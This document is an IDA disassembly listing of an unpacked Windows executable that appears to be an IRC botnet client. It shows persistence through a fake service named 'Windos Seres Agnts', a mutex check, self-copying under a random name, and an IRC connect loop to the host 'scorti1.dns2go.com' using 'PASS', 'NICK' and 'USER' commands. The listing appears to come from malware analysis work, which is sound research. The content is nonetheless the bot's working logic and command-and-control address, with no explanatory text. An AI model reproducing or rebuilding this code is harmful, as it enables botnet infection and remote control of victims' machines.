;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	86E2001FDC8C86ECD83743E0E19D0E61

; File Name   :	u:\work\86e2001fdc8c86ecd83743e0e19d0e61_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670630h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2670323h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aSbrsfgf	; "sbrsfgf"
		push	ebx
		push	ebx
		nop
		call	near ptr 26903E7h
		push	eax
		call	near ptr 269032Fh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2690214h
		push	eax
		nop
		call	near ptr 2670630h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 269010Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2690000h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 2680C22h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 26803B2h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2690000h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2680BD5h
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		nop
		call	near ptr 2680656h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2670323h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 26803B2h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 269032Fh
		push	esi
		call	near ptr 2670000h
		nop
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26803B2h
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		nop
		call	near ptr 2680591h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 26803B2h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	near ptr 26803B2h
		nop
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		call	near ptr 26803B2h
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26803B2h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
